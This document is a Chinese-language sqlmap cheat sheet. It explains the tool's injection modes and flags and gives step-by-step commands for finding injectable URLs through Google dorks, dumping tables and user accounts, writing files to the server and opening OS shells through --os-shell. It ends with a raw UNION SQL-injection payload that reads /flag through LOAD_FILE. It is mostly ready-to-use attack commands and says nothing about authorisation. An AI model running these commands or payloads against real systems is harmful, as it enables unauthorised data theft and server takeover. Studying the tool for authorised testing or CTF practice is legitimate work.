sqlmap简介以及参数
五种注入模式
- 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
- 联合查询注入,可以使用union的情况下的注入。
- 堆查询注入,可以同时执行多条语句的执行时的注入。
数据库支持 > MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB #### 注入命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| 指定数据库 -d 指定一个url -u 指定表名 -T 指定字段 -C 指定字段内容 -D
从文本获取 -m 分析burpsuite日志 -l 谷歌黑客 -g 搜索引擎语法:inurl intext intitle site 操作等级 -v 0:只会输出重大错误,以及结果 1:基本信息及警告(默认) 2:显示debug 3:显示payload(常用) 4:显示http请求 5:显示http响应头 6:显示http响应界面 列表名 --tables 列字段 --columns 下载数据 --dump 定义连接调用位置 --cookie 检测等级 --level 使用正则匹配网站 --scope 查看数据库管理系统所有用户账号 --users 所有数据库 --dbs 当前数据库 --current-db 当前数据库用户 --current-user 当前用户权限 --is-dba 要求不对目标写入 --batch 使用干预脚本 --tamper 检查URL --check 当使用https时 --force-ssl 编译共享库创建并上传至DB Server,一次生成UDF实现高级注入 --udf-inject,--shared-lib Linux:shared object Windows:DLL
--os-cmd:执行一条命令,前提是当前用户有权执行 --os-shell:获取一个shell,前提是当前用户有权执行 --sql-shell:获取sql-shell,前提是当前用户有权执行
|
使用例程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| 一.Access注入 1.检测是否可注入 sqlmap.py -u "%url%"
2.猜表 sqlmap.py -u "%url%" --tables
3.猜字段 sqlmap.py -u "%url%" -T %表名% --columns
4.猜字段内容 sqlmap.py -u "%url%" -T %表名% -C %字段名% --dump
二.Mysql注入 1.获取数据库 sqlmap.py -u "%url%" --dbs
2.指定数据库,获取表 sqlmap.py -u "%url%" -D %数据库名% --tables
3.猜字段 sqlmap.py -u "%url%" -D %数据库名% -T %字段名% --columns
4.猜字段内容 sqlmap.py -u "%url%" -D %数据库名% -T %字段名% -C %字段内容% --dump
三.Cookies注入 sqlmap.py -u "%url%" --cookie "%Cookie内容%" --level 2
四.Post注入 sqlmap.py -u "%url%" –data “%Post数据%”
五.google hack sqlmap.py -u "%url%" –g “inurl:asp?id=” sqlmap.py -u "%url%" –g “intext:%自定义字符%”
六.Tamper脚本干预的使用 sqlmap.py -u "%url%" –v 3 --tamper “%脚本文件%” --batch
七.URL检测 sqlmap.py -u "%url%" --check-waf
八.file参数 ps:必须为dba,su或root权限,可用--is-dba检测当前用户权限 sqlmap.py -u "%url%" --file-write=%本地路径% --file-dest=%目标写入路径%
九.post注入 sqlmap.py -u "%url%" --forms
十.r命令post注入 sqlmap.py -r %文件路径%
十一.os参数 ps.先确定权限 sqlmap.py -u "%url%" --os-cmd=%命令% sqlmap.py -u "%url%" --os-shell=%命令%
|
Payload:
文件读取
1
| 1364 UNION ALL SELECT 78,CONCAT(0x716a6a6a71,IFNULL(CAST(LENGTH(LOAD_FILE(0x2f666c6167)) AS CHAR),0x20),0x7170787a71)
|